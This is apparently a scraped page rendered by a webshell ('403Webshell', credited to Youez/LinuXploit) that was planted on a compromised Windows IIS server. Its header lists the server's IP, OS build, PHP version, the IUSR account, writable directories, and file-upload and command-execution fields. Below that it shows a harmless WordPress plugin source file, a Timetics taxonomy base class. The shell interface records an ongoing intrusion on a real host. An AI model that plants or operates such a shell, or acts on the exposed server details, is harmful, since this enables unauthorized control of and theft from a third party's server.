403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/taxonomy.php
<?php
/**
 * Taxonomy Base Class
 *
 * @since 1.0.0
 *
 * @package Timetics
 */
namespace Timetics\Base;

/**
 * Taxonomy Class.
 *
 * @since 1.0.0
 */
abstract class Taxonomy {
    /**
     * Store taxonomy name
     *
     * @since 1.0.0
     *
     * @var string $name
     */
    protected $name;

    /**
     * Store custom post type
     *
     * @since 1.0.0
     *
     * @var string $cpt
     */
    protected $cpt;

    /**
     * Store taxonomy args.
     *
     * @since 1.0.0
     *
     * @var array $args
     */
    protected $args;

    /**
     * Taxonomy Constructor.
     *
     * @since 1.0.0
     *
     * @return  void
     */
    public function __construct() {
        $this->set_props();
        add_action( 'init', [ $this, 'register_taxonomy' ] );
    }

    /**
     * Regisetr custom taxonomy
     *
     * @since 1.0.0
     *
     * @return  void
     */
    public function register_taxonomy() {
        register_taxonomy( $this->name, $this->cpt, $this->args );
    }

    /**
     * Set config
     *
     * @since 1.0.0
     *
     * @return void
     */
    abstract public function set_props();
}

Youez - 2016 - github.com/yon3zu
LinuXploit